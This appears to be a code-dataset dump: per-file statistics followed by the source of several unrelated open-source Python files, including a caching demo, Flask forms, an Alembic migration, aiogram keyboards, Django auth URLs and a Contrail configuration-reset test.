0.25876
0.25876
0.25876
0.25876
0.25876
0
0
0.014388
0.067114
447
9
202
49.666667
0.8753
0
0
0
0
0
0.223714
0.223714
0
0
0
0
0
1
0
false
0
0.125
0
0.125
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c89d84cb20f102af7452f0c152beca85a101d946
386
py
Python
cache-basic.py
kurapikats/python-basics
7b81e5e8de44186b573b74f05c78b56894df0ed7
[ "MIT" ]
null
null
null
cache-basic.py
kurapikats/python-basics
7b81e5e8de44186b573b74f05c78b56894df0ed7
[ "MIT" ]
null
null
null
cache-basic.py
kurapikats/python-basics
7b81e5e8de44186b573b74f05c78b56894df0ed7
[ "MIT" ]
null
null
null
import time def compute(a, b): time.sleep(2) return a + b cache = {} def cache_compute(a, b): if (a, b) in cache.keys(): return cache[a, b] else: new = compute(a, b) cache[a, b] = new return new print(cache_compute(1, 2)) print(cache_compute(3, 5)) print(cache_compute(3, 5)) print(cache_compute(6, 7)) print(cache_compute(1, 2))
14.846154
30
0.585492
64
386
3.4375
0.328125
0.063636
0.386364
0.163636
0.422727
0.25
0.25
0.25
0
0
0
0.038596
0.261658
386
25
31
15.44
0.733333
0
0
0.235294
0
0
0
0
0
0
0
0
0
1
0.117647
false
0
0.058824
0
0.352941
0.294118
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c8c0d558d52b83f545c1d622f249b8f8181f6952
420
py
Python
vstreamer_server/application/VideoStreamerServerApplication.py
artudi54/video-streamer
66e5e722ed66abe5877488f177c0ac4f13325382
[ "MIT" ]
2
2019-10-08T10:49:52.000Z
2021-10-01T11:26:31.000Z
vstreamer_server/application/VideoStreamerServerApplication.py
artudi54/video-streamer
66e5e722ed66abe5877488f177c0ac4f13325382
[ "MIT" ]
1
2019-05-16T13:48:29.000Z
2019-05-16T13:48:49.000Z
vstreamer_server/application/VideoStreamerServerApplication.py
artudi54/video-streamer
66e5e722ed66abe5877488f177c0ac4f13325382
[ "MIT" ]
1
2019-10-08T10:49:56.000Z
2019-10-08T10:49:56.000Z
import logging import signal from PySide2 import QtCore import vstreamer_utils class VideoStreamerServerApplication(QtCore.QCoreApplication): def __init__(self, argv): super().__init__(argv) self.setApplicationName("video_streamer_server") self.logger = vstreamer_utils.make_logger() vstreamer_utils.set_signal_handlers(self) self.logger.info("Started server application")
28
62
0.754762
45
420
6.688889
0.6
0.139535
0.13289
0
0
0
0
0
0
0
0
0.002865
0.169048
420
14
63
30
0.859599
0
0
0
0
0
0.111905
0.05
0
0
0
0
0
1
0.090909
false
0
0.363636
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
c8c12c77067e0a8b65aeb31d29a9acc363766542
2,345
py
Python
serial_scripts/reset_config/test_reset_config.py
vkolli/5.0_contrail-test
1793f169a94100400a1b2fafbad21daf5aa4d48a
[ "Apache-2.0" ]
1
2017-06-13T04:42:34.000Z
2017-06-13T04:42:34.000Z
serial_scripts/reset_config/test_reset_config.py
vkolli/contrail-test-perf
db04b8924a2c330baabe3059788b149d957a7d67
[ "Apache-2.0" ]
1
2021-06-01T22:18:29.000Z
2021-06-01T22:18:29.000Z
serial_scripts/reset_config/test_reset_config.py
vkolli/contrail-test-perf
db04b8924a2c330baabe3059788b149d957a7d67
[ "Apache-2.0" ]
null
null
null
#Define environment variable FABRIC_UTILS_PATH and provide path to fabric_utils before running import time import os from contrail_fixtures import * import testtools from tcutils.commands import * from fabric.context_managers import settings from tcutils.wrappers import preposttest_wrapper from tcutils.util import * from fabric.api import run from fabric.state import connections import test from upgrade.verify import VerifyFeatureTestCases from base import ResetConfigBaseTest class TestResetConfig(ResetConfigBaseTest,VerifyFeatureTestCases): ''' Reset all the configurations ''' @classmethod def setUpClass(cls): super(TestResetConfig, cls).setUpClass() cls.res.setUp(cls.inputs , cls.connections, cls.logger) def runTest(self): pass #end runTest @preposttest_wrapper def test_to_reset_config(self): ''' 1) Creates configurations and verify 2) Reset all the Configurations 3) Check all the configurations has been reset ''' result = True self.inputs.fixture_cleanup = "no" self.verify_config_before_feature_test() username = self.inputs.host_data[self.inputs.cfgm_ip]['username'] password = self.inputs.host_data[self.inputs.cfgm_ip]['password'] with settings( host_string='%s@%s' % ( username, self.inputs.cfgm_ips[0]), password = password, warn_only=True, abort_on_prompts=False, debug=True): fab_path = os.environ.get('FABRIC_UTILS_PATH', '/opt/contrail/utils') reset_cmd = "cd " +fab_path +";fab reset_config " self.logger.info("Starting reset configuration") status = run(reset_cmd) self.logger.debug("LOG for fab reset_config : %s" % status) assert not(status.return_code), 'Failed in running : fab reset_config' result = result and not(status.return_code) self.logger.info("Reset configuration completed") project_list = run("source /etc/contrail/openstackrc;keystone tenant-list") if self.project.project_name in project_list: assert False,'Failed to reset all the configurations' self.logger.info("Successfully all the configurations has been reset") return result #end test_to_reset_config
40.431034
94
0.690405
284
2,345
5.556338
0.411972
0.038023
0.063371
0.047529
0.08365
0.08365
0.043093
0.043093
0
0
0
0.002209
0.227719
2,345
57
95
41.140351
0.869133
0.054584
0
0
0
0
0.168966
0.016749
0
0
0
0
0.045455
0
null
null
0.068182
0.295455
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
c8d14c78402ef6d14f3e0943706f524623b640ce
900
py
Python
src/telegram/telegram.py
timepieces141/refactored-telegram
02dce4b1273afb5fd8b80cbdc64a560dc75dbeec
[ "MIT" ]
null
null
null
src/telegram/telegram.py
timepieces141/refactored-telegram
02dce4b1273afb5fd8b80cbdc64a560dc75dbeec
[ "MIT" ]
null
null
null
src/telegram/telegram.py
timepieces141/refactored-telegram
02dce4b1273afb5fd8b80cbdc64a560dc75dbeec
[ "MIT" ]
null
null
null
''' This module provides the Telegram. ''' class Telegram: ''' Telegram encapsulates the pieces and parts of a telegram. ''' def __init__(self, sender, recipient, message): ''' Constructs a Telegram instance. :param sender: The sender of the telegram :param recipient: The recipient of the telegram :param message: The message contents ''' self._sender = sender self._recipient = recipient self._message = message @property def sender(self): ''' Provides access to the sender. ''' return self._sender @property def recipient(self): ''' Provides access to the recipient. ''' return self._recipient @property def message(self): ''' Retrieve the message. ''' return self._message
20.930233
61
0.564444
88
900
5.659091
0.306818
0.066265
0.052209
0.072289
0.092369
0
0
0
0
0
0
0
0.351111
900
42
62
21.428571
0.85274
0.385556
0
0.214286
0
0
0
0
0
0
0
0
0
1
0.285714
false
0
0
0
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
c8e3e5f641575e46034c6e7d21d6b9a28bd02474
1,547
py
Python
app/main/forms.py
james-muriithi/blog
e653f2fbb3c1e5a873c393b4985cc12d726e451c
[ "Unlicense" ]
null
null
null
app/main/forms.py
james-muriithi/blog
e653f2fbb3c1e5a873c393b4985cc12d726e451c
[ "Unlicense" ]
null
null
null
app/main/forms.py
james-muriithi/blog
e653f2fbb3c1e5a873c393b4985cc12d726e451c
[ "Unlicense" ]
null
null
null
from app.models import Subscriber from flask_wtf import FlaskForm from wtforms import TextAreaField, StringField, IntegerField, EmailField from wtforms.validators import InputRequired, ValidationError from flask import flash class BlogForm(FlaskForm): title = StringField('Title', validators=[InputRequired()]) category = IntegerField('Category', validators=[InputRequired()]) content = StringField('Content', validators=[InputRequired()]) image_path = StringField('Content', validators=[InputRequired()]) class EditBlogForm(FlaskForm): title = StringField('Title', validators=[InputRequired()]) category = IntegerField('Category', validators=[InputRequired()]) content = StringField('Content', validators=[InputRequired()]) image_path = StringField('Content') # comment form class CommentForm(FlaskForm): comment = TextAreaField('Leave a Comment', validators=[InputRequired()]) # subscriber form class SubscriberForm(FlaskForm): name = StringField('Name', validators=[InputRequired()]) email = StringField('Email', validators=[InputRequired()]) def validate_email(self,data_field): if Subscriber.query.filter_by(email = data_field.data).first(): flash('Email already subscribed', 'error') raise ValidationError('Email already subscribed') class ProfileForm(FlaskForm): """Profile form""" email = EmailField('Email',validators=[InputRequired()]) name = StringField('Name',validators=[InputRequired()]) about = TextAreaField('About')
40.710526
76
0.728507
144
1,547
7.777778
0.347222
0.246429
0.075
0.109821
0.394643
0.319643
0.319643
0.319643
0.319643
0.319643
0
0
0.144796
1,547
38
77
40.710526
0.846561
0.027149
0
0.285714
0
0
0.096731
0
0
0
0
0
0
1
0.035714
false
0
0.178571
0
0.892857
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
740167bc86931d3454e29781523554e25235165c
2,217
py
Python
irs_lqr/dynamical_system.py
lujieyang/irs_lqr
bc9cade6a3bb2fa2d76bdd5fe453030a7b28700f
[ "MIT" ]
6
2021-11-20T19:05:06.000Z
2022-01-31T00:10:41.000Z
irs_lqr/dynamical_system.py
lujieyang/irs_lqr
bc9cade6a3bb2fa2d76bdd5fe453030a7b28700f
[ "MIT" ]
10
2021-07-24T19:50:36.000Z
2021-11-20T19:06:40.000Z
irs_lqr/dynamical_system.py
lujieyang/irs_lqr
bc9cade6a3bb2fa2d76bdd5fe453030a7b28700f
[ "MIT" ]
1
2021-12-15T22:09:31.000Z
2021-12-15T22:09:31.000Z
class DynamicalSystem: def __init__(self): """ Base virtual dynamical systems class. Any dynamics as an input to the system must inherit from this class. TODO(terry-suh): Consider using ABC? """ self.h = 0 self.dim_x = 0 self.dim_u = 0 def dynamics(self, x, u): """ Numerical expression for dynamics in state-space form. args: - x_t (np.array, dim: n): state - u_t (np.array, dim: m): action returns - x_{t+1} (np.array, dim: n), next state. """ raise NotImplementedError("This class is virtual.") def dynamics_batch(self, x, u): """ Special batch implementation of dynamics that allows parallel evaluation. If the dynamics cannot be easily batched, replace this method with a for loop over the dynamics function. args: - x_t (np.array, dim: B x n): batched state - u_t (np.array, dim: B x m): batched action returns - x_{t+1} (np.array, dim: B x n): next batched state. """ raise NotImplementedError("This class is virtual.") def jacobian_xu(self, x, u): """ Numerical jacobian of dynamics w.r.t. x and u. Should be a fat matrix with the first n columns corresponding to dfdx, and the last m columns corresponding to dfdu. args: - x_t (np.array, dim: n): state - u_t (np.array, dim: m): action returns: - J_xu (np.array, dim: n x (n + m)): df/dxu """ raise NotImplementedError("This class is virtual.") def jacobian_xu_batch(self, x, u): """ Batch jacobian of dynamics w.r.t. x and u that allows for faster parallelized computations. If Jacobian computation cannot be easily batched, replace this method with a for loop over the jacobian_xu function. args: - x_t (np.array, dim: B x n): state - u_t (np.array, dim: B x m): action returns: - J_xu (np.array, dim: B x n x (n + m)): batched Jacobians. """ raise NotImplementedError("This class is virtual.")
33.089552
76
0.57014
308
2,217
4.029221
0.308442
0.067687
0.096696
0.070911
0.521354
0.521354
0.482675
0.482675
0.375504
0.212732
0
0.003392
0.335138
2,217
66
77
33.590909
0.838535
0.590438
0
0.307692
0
0
0.15942
0
0
0
0
0.015152
0
1
0.384615
false
0
0
0
0.461538
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
0
0
0
0
0
2
cd9d087613da3991818c9538bda9aacfcb7b2302
714
py
Python
Mechanize/checkWords.py
rpvnwnkl/DailyWriter
7934d636219e46b9875f31e327bf52993e15e517
[ "MIT" ]
null
null
null
Mechanize/checkWords.py
rpvnwnkl/DailyWriter
7934d636219e46b9875f31e327bf52993e15e517
[ "MIT" ]
null
null
null
Mechanize/checkWords.py
rpvnwnkl/DailyWriter
7934d636219e46b9875f31e327bf52993e15e517
[ "MIT" ]
null
null
null
#!usr/bin/env python import sys, logging import re import mechanize logger = logging.getLogger('mechanize') logger.addHandler(logging.StreamHandler(sys.stdout)) logger.setLevel(logging.DEBUG) br = mechanize.Browser() br.set_debug_http(True) br.set_debug_responses(True) br.set_debug_redirects(True) br.open("https://750words.com/auth") email = open('email.txt', 'r').read() password = open('password.txt', 'r').read() print email, password br.select_form(nr=0) br['person[email_address]'] = '[email protected]' br['person[password]'] = 'password' response2 = br.submit() print br.title print response2.geturl() print response2.info() print response2.read() print br.select_form(nr=0) print br['entry[body]']
23.032258
52
0.752101
105
714
5.028571
0.466667
0.028409
0.056818
0.05303
0.056818
0
0
0
0
0
0
0.01374
0.082633
714
30
53
23.8
0.792366
0.026611
0
0
0
0
0.189033
0.030303
0
0
0
0
0
0
null
null
0.125
0.125
null
null
0.291667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
cdaf411884a90226584098d678014eeaecc826d5
90
py
Python
test.py
stpwin/fb-groub-sentiment
0c0c860bf7b405e7cc4a7fac5a337b751dddb910
[ "bzip2-1.0.6" ]
null
null
null
test.py
stpwin/fb-groub-sentiment
0c0c860bf7b405e7cc4a7fac5a337b751dddb910
[ "bzip2-1.0.6" ]
7
2019-08-25T01:53:14.000Z
2022-03-11T23:57:08.000Z
test.py
stpwin/fb-groub-sentiment
0c0c860bf7b405e7cc4a7fac5a337b751dddb910
[ "bzip2-1.0.6" ]
null
null
null
items = {"a": True, "b": False} b = [v for k, v in items.items() if v == True] print(b)
15
46
0.533333
18
90
2.666667
0.611111
0
0
0
0
0
0
0
0
0
0
0
0.233333
90
5
47
18
0.695652
0
0
0
0
0
0.022222
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
cddabebcaa2a91087a2f9f94dcd4f545a6f38cff
283
py
Python
tests/conftest.py
bayashi-cl/expander
b3623b656a71801233797e05781295a6101fefd8
[ "CC0-1.0" ]
null
null
null
tests/conftest.py
bayashi-cl/expander
b3623b656a71801233797e05781295a6101fefd8
[ "CC0-1.0" ]
1
2022-03-12T20:41:21.000Z
2022-03-13T06:34:30.000Z
tests/conftest.py
bayashi-cl/expander
b3623b656a71801233797e05781295a6101fefd8
[ "CC0-1.0" ]
null
null
null
import pytest from unittest import mock import os import pathlib @pytest.fixture(scope="session", autouse=True) def set_pythonpath(): testlib_path = pathlib.Path.cwd() / "tests" / "testlib" with mock.patch.dict(os.environ, {"PYTHONPATH": str(testlib_path)}): yield
23.583333
72
0.713781
37
283
5.378378
0.675676
0.110553
0
0
0
0
0
0
0
0
0
0
0.155477
283
11
73
25.727273
0.832636
0
0
0
0
0
0.102474
0
0
0
0
0
0
1
0.111111
false
0
0.444444
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
cdea49e6abeeb4e6ceb631ab1583ede7c457b5ed
6,585
py
Python
synapse/server.py
uroborus/synapse
270825ab2a3e16bb8ffcdbcea058efd28a38e8e1
[ "Apache-2.0" ]
1
2021-09-09T08:50:20.000Z
2021-09-09T08:50:20.000Z
synapse/server.py
uroborus/synapse
270825ab2a3e16bb8ffcdbcea058efd28a38e8e1
[ "Apache-2.0" ]
null
null
null
synapse/server.py
uroborus/synapse
270825ab2a3e16bb8ffcdbcea058efd28a38e8e1
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright 2014 OpenMarket Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This file provides some classes for setting up (partially-populated) # homeservers; either as a full homeserver as a real application, or a small # partial one for unit test mocking. # Imports required for the default HomeServer() implementation from synapse.federation import initialize_http_replication from synapse.api.events import serialize_event from synapse.api.events.factory import EventFactory from synapse.notifier import Notifier from synapse.api.auth import Auth from synapse.handlers import Handlers from synapse.rest import RestServletFactory from synapse.state import StateHandler from synapse.storage import DataStore from synapse.types import UserID, RoomAlias, RoomID from synapse.util import Clock from synapse.util.distributor import Distributor from synapse.util.lockutils import LockManager from synapse.streams.events import EventSources from synapse.api.ratelimiting import Ratelimiter class BaseHomeServer(object): """A basic homeserver object without lazy component builders. This will need all of the components it requires to either be passed as constructor arguments, or the relevant methods overriding to create them. Typically this would only be used for unit tests. For every dependency in the DEPENDENCIES list below, this class creates one method, def get_DEPENDENCY(self) which returns the value of that dependency. If no value has yet been set nor was provided to the constructor, it will attempt to call a lazy builder method called def build_DEPENDENCY(self) which must be implemented by the subclass. This code may call any of the required "get" methods on the instance to obtain the sub-dependencies that one requires. """ DEPENDENCIES = [ 'clock', 'http_client', 'db_name', 'db_pool', 'persistence_service', 'replication_layer', 'datastore', 'event_factory', 'handlers', 'auth', 'rest_servlet_factory', 'state_handler', 'room_lock_manager', 'notifier', 'distributor', 'resource_for_client', 'resource_for_federation', 'resource_for_web_client', 'resource_for_content_repo', 'event_sources', 'ratelimiter', ] def __init__(self, hostname, **kwargs): """ Args: hostname : The hostname for the server. """ self.hostname = hostname self._building = {} # Other kwargs are explicit dependencies for depname in kwargs: setattr(self, depname, kwargs[depname]) @classmethod def _make_dependency_method(cls, depname): def _get(self): if hasattr(self, depname): return getattr(self, depname) if hasattr(self, "build_%s" % (depname)): # Prevent cyclic dependencies from deadlocking if depname in self._building: raise ValueError("Cyclic dependency while building %s" % ( depname, )) self._building[depname] = 1 builder = getattr(self, "build_%s" % (depname)) dep = builder() setattr(self, depname, dep) del self._building[depname] return dep raise NotImplementedError( "%s has no %s nor a builder for it" % ( type(self).__name__, depname, ) ) setattr(BaseHomeServer, "get_%s" % (depname), _get) # TODO: Why are these parse_ methods so high up along with other globals? # Surely these should be in a util package or in the api package? # Other utility methods def parse_userid(self, s): """Parse the string given by 's' as a User ID and return a UserID object.""" return UserID.from_string(s, hs=self) def parse_roomalias(self, s): """Parse the string given by 's' as a Room Alias and return a RoomAlias object.""" return RoomAlias.from_string(s, hs=self) def parse_roomid(self, s): """Parse the string given by 's' as a Room ID and return a RoomID object.""" return RoomID.from_string(s, hs=self) def serialize_event(self, e): return serialize_event(self, e) # Build magic accessors for every dependency for depname in BaseHomeServer.DEPENDENCIES: BaseHomeServer._make_dependency_method(depname) class HomeServer(BaseHomeServer): """A homeserver object that will construct most of its dependencies as required. It still requires the following to be specified by the caller: resource_for_client resource_for_web_client resource_for_federation resource_for_content_repo http_client db_pool """ def build_clock(self): return Clock() def build_replication_layer(self): return initialize_http_replication(self) def build_datastore(self): return DataStore(self) def build_event_factory(self): return EventFactory(self) def build_handlers(self): return Handlers(self) def build_notifier(self): return Notifier(self) def build_auth(self): return Auth(self) def build_rest_servlet_factory(self): return RestServletFactory(self) def build_state_handler(self): return StateHandler(self) def build_room_lock_manager(self): return LockManager() def build_distributor(self): return Distributor() def build_event_sources(self): return EventSources(self) def build_ratelimiter(self): return Ratelimiter() def register_servlets(self): """ Register all servlets associated with this HomeServer. """ # Simply building the ServletFactory is sufficient to have it register self.get_rest_servlet_factory()
31.658654
79
0.665907
803
6,585
5.33873
0.327522
0.038488
0.025192
0.009097
0.071379
0.064847
0.034523
0.02286
0.02286
0.02286
0
0.002067
0.2653
6,585
207
80
31.811594
0.884043
0.380714
0
0
0
0
0.096308
0.018332
0
0
0
0.004831
0
1
0.2
false
0
0.142857
0.133333
0.552381
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
cdea57f865285710bac46af78cc530224ae5efeb
359
py
Python
pythonforandroid/recipes/kivy/__init__.py
inclement/p4a-experiment
4e120e08cc3c33af89948307628c8b28fdf76b87
[ "MIT" ]
1
2015-06-09T21:12:09.000Z
2015-06-09T21:12:09.000Z
pythonforandroid/recipes/kivy/__init__.py
inclement/p4a-experiment
4e120e08cc3c33af89948307628c8b28fdf76b87
[ "MIT" ]
null
null
null
pythonforandroid/recipes/kivy/__init__.py
inclement/p4a-experiment
4e120e08cc3c33af89948307628c8b28fdf76b87
[ "MIT" ]
null
null
null
from pythonforandroid.toolchain import CythonRecipe, shprint, current_directory, ArchAndroid from os.path import exists, join import sh import glob class KivyRecipe(CythonRecipe): version = 'stable' url = 'https://github.com/kivy/kivy/archive/{version}.zip' name = 'kivy' depends = ['pygame', 'pyjnius', 'android'] recipe = KivyRecipe()
21.117647
92
0.721448
41
359
6.292683
0.780488
0
0
0
0
0
0
0
0
0
0
0
0.158774
359
16
93
22.4375
0.854305
0
0
0
0
0
0.223464
0
0
0
0
0
0
1
0
false
0
0.4
0
0.9
0.1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
cdece39680fd28858374924d70a1d3ff5d97fb90
462
py
Python
statapy/regression/tests.py
DhananjayAshok/PyStata
b592414d78b87d565d8c59ae9487478a792b8c84
[ "Apache-2.0" ]
null
null
null
statapy/regression/tests.py
DhananjayAshok/PyStata
b592414d78b87d565d8c59ae9487478a792b8c84
[ "Apache-2.0" ]
null
null
null
statapy/regression/tests.py
DhananjayAshok/PyStata
b592414d78b87d565d8c59ae9487478a792b8c84
[ "Apache-2.0" ]
null
null
null
import scipy.stats as stats def mannwhitneyu(sample_0, sample_1, one_sided=False): """ Performs the Mann-Whitney U test :param sample_0: array of values :param sample_1: array of values :param one_sided: True iff you want to use less than alternative hypothesis :return: statistic, pvalue """ res = stats.mannwhitneyu(sample_0, sample_1, alternative="two-sided" if not one_sided else "less") return res.statistic, res.pvalue
35.538462
102
0.722944
69
462
4.710145
0.57971
0.064615
0.116923
0.153846
0.16
0
0
0
0
0
0
0.016129
0.194805
462
13
103
35.538462
0.857527
0.435065
0
0
0
0
0.056522
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
b522c08e48bccc21cac46f1faeda9461a2a4bfcf
1,187
py
Python
backend/model/migrate/versions/18632a2d5fc_.py
deti/boss
bc0cfe3067bf1cbf26789f7443a36e7cdd2ac869
[ "Apache-2.0" ]
7
2018-05-20T08:56:08.000Z
2022-03-11T15:50:54.000Z
backend/model/migrate/versions/18632a2d5fc_.py
deti/boss
bc0cfe3067bf1cbf26789f7443a36e7cdd2ac869
[ "Apache-2.0" ]
2
2021-06-08T21:12:51.000Z
2022-01-13T01:25:27.000Z
backend/model/migrate/versions/18632a2d5fc_.py
deti/boss
bc0cfe3067bf1cbf26789f7443a36e7cdd2ac869
[ "Apache-2.0" ]
5
2016-10-09T14:52:09.000Z
2020-12-25T01:04:35.000Z
"""Extend event column in account history Revision ID: 18632a2d5fc Revises: 3e19c50e864 Create Date: 2015-06-05 17:49:12.757269 """ # revision identifiers, used by Alembic. revision = '18632a2d5fc' down_revision = '3e19c50e864' branch_labels = None depends_on = None from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import mysql def upgrade(engine_name): globals()["upgrade_%s" % engine_name]() def downgrade(engine_name): globals()["downgrade_%s" % engine_name]() def upgrade_account(): ### commands auto generated by Alembic - please adjust! ### op.alter_column('tariff_history', 'event', existing_type=mysql.VARCHAR(length=8), type_=sa.String(length=16), existing_nullable=True) ### end Alembic commands ### def downgrade_account(): ### commands auto generated by Alembic - please adjust! ### op.alter_column('tariff_history', 'event', existing_type=sa.String(length=16), type_=mysql.VARCHAR(length=8), existing_nullable=True) ### end Alembic commands ### def upgrade_fitter(): pass def downgrade_fitter(): pass
21.581818
63
0.670598
141
1,187
5.48227
0.453901
0.051746
0.043984
0.036223
0.445019
0.344114
0.344114
0.238034
0.238034
0.238034
0
0.060086
0.214827
1,187
54
64
21.981481
0.769313
0.264532
0
0.24
0
0
0.097735
0
0
0
0
0
0
1
0.24
false
0.08
0.12
0
0.36
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
b523c2ff097c63e33e8bee17d44fcc56243d89de
1,729
py
Python
keyboards/inline/in_processing/confirm_keyboard.py
itcosplay/cryptobot
6890cfde64a631bf0e4db55f6873a2217212d801
[ "MIT" ]
null
null
null
keyboards/inline/in_processing/confirm_keyboard.py
itcosplay/cryptobot
6890cfde64a631bf0e4db55f6873a2217212d801
[ "MIT" ]
null
null
null
keyboards/inline/in_processing/confirm_keyboard.py
itcosplay/cryptobot
6890cfde64a631bf0e4db55f6873a2217212d801
[ "MIT" ]
null
null
null
from emoji import emojize from data import all_emoji from aiogram.types import InlineKeyboardMarkup from aiogram.types import InlineKeyboardButton from aiogram.utils.callback_data import CallbackData cb_confirm_close = CallbackData('cb_cc', 'type_btn') def create_kb_confirm_close(): emo_snail = all_emoji['back__main_menu'] keyboard = InlineKeyboardMarkup() keyboard.add ( InlineKeyboardButton ( text = 'подтверждаю!', callback_data = cb_confirm_close.new(type_btn='confirm') ) ) keyboard.add ( InlineKeyboardButton ( text = 'добавить сообщение', callback_data = cb_confirm_close.new(type_btn='add_message') ) ) keyboard.add ( InlineKeyboardButton ( text = 'вернуться к заявке', callback_data = cb_confirm_close.new(type_btn='back_to_request') ) ) keyboard.add ( InlineKeyboardButton ( text = f'назад {emo_snail} главное меню', callback_data = cb_confirm_close.new(type_btn='back__main_menu') ) ) return keyboard def create_kb_confirm_cancel_request(): emo_snail = all_emoji['back__main_menu'] keyboard = InlineKeyboardMarkup() keyboard.add ( InlineKeyboardButton ( text = 'отменить заявку', callback_data = 'cancel' ) ) keyboard.add ( InlineKeyboardButton ( text = 'вернуться к заявке', callback_data = 'back_to_request' ) ) keyboard.add ( InlineKeyboardButton ( text = f'назад {emo_snail} главное меню', callback_data = 'back__main_menu' ) ) return keyboard
26.6
76
0.625795
172
1,729
5.97093
0.27907
0.093476
0.211295
0.238559
0.632911
0.586173
0.586173
0.586173
0.516066
0.342746
0
0
0.293811
1,729
64
77
27.015625
0.841114
0
0
0.428571
0
0
0.155003
0
0
0
0
0
0
1
0.035714
false
0
0.089286
0
0.160714
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
b52aa43dd118effc265e50061d8175f3814721d2
1,897
py
Python
syncbase/user/urls.py
gkrnours/syncbase
0e20d400fe83e2157ee6e893a105253d20634808
[ "MIT" ]
null
null
null
syncbase/user/urls.py
gkrnours/syncbase
0e20d400fe83e2157ee6e893a105253d20634808
[ "MIT" ]
null
null
null
syncbase/user/urls.py
gkrnours/syncbase
0e20d400fe83e2157ee6e893a105253d20634808
[ "MIT" ]
null
null
null
from django.conf.urls import url, include from django.contrib.auth import views as auth from user.forms import NewAccountForm from user import views app_name = 'user' urlpatterns = [ # auth url(r'^create/$', views.UserCreate.as_view(), name='create'), url(r'^login/$', auth.login, {'template_name':'user/login.html'}, name='login'), url(r'^logout/$', auth.logout, {'template_name':'user/logout.html'}, name='logout'), url(r'^password_change/$', auth.password_change, {'template_name':'user/password_change_form.html', 'post_change_redirect':'user:password_change_done'}, name='password_change'), url(r'^password_change/done/$', auth.password_change_done, {'template_name':'user/password_change_done.html'}, name='password_change_done'), url(r'^password_reset/$', auth.password_reset, {'post_reset_redirect': 'user:password_reset_done', 'template_name': 'user/password_reset_form.html', 'email_template_name': 'user/password_reset_email.html', 'subject_template_name': 'user/password_reset_subject.txt'}, name='password_reset'), url(r'^password_reset/done/$', auth.password_reset_done, {'template_name': 'user/password_reset_done.html'}, name='password_reset_done'), url(r'^reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$', auth.password_reset_confirm, {'post_reset_redirect':'user:password_reset_complete', 'template_name': "user/password_reset_confirm.html"}, name='password_reset_confirm'), url(r'^reset/done/$', auth.password_reset_complete, {'template_name': 'user/password_reset_complete.html'}, name='password_reset_complete'), # profile url(r'^basic/$', views.BasicInfo.as_view(), name="basic"), ]
34.490909
95
0.655245
240
1,897
4.895833
0.208333
0.199149
0.13617
0.163404
0.337021
0.199149
0.163404
0.163404
0
0
0
0.008974
0.177649
1,897
54
96
35.12963
0.744231
0.006326
0
0
0
0.025641
0.479809
0.273645
0
0
0
0
0
1
0
false
0.589744
0.102564
0
0.102564
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
b532e08e69d241104c91b1c89e9d10205dab72ab
292
py
Python
day6.py
seblars/AdventOfCode2020
dc41181caa50fe03645aa36d70fe0ebd76cd6e25
[ "MIT" ]
1
2020-12-16T09:37:01.000Z
2020-12-16T09:37:01.000Z
day6.py
seblars/AdventOfCode2020
dc41181caa50fe03645aa36d70fe0ebd76cd6e25
[ "MIT" ]
null
null
null
day6.py
seblars/AdventOfCode2020
dc41181caa50fe03645aa36d70fe0ebd76cd6e25
